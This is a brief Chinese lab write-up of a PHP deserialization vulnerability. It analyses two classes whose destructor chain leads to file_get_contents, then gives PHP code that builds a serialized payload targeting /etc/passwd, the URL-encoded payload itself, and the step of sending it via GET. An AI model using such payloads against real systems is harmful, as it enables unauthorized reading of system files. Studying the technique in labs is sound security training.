[web安全] 反序列化漏洞实验

代码

分析

定义了两个类A B

类A存在公有变量$classname,魔术方法__destruct() 在魔术方法中调用了类B中的read_file()函数

类B存在私有变量$filename,函数read_file()中存在file_get_contents()函数,参数为$filename

最后存在unserialize()反序列化函数 同时参数可控

思路

实例化A 并且将类A的公有变量$classname赋值为类B的实例化对象,当实例化A的同时也实例化了B

将类B中的私有变量$filename赋值读取文件名称

将实例化类A序列化输出

<?php
class A{
    public $classname;
}
class B{
    private $filename='/etc/passwd';

}
$a = new A();
$a ->classname = new B();
echo urlencode(serialize($a));
?>

 输出结果

O%3A1%3A%22A%22%3A1%3A%7Bs%3A9%3A%22classname%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A11%3A%22%00B%00filename%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D%7D 

将结果get传参进去

[web安全] 反序列化漏洞实验:https://zy.xcstars.cn/221/
THE END
分享
二维码
< <上一篇
下一篇>>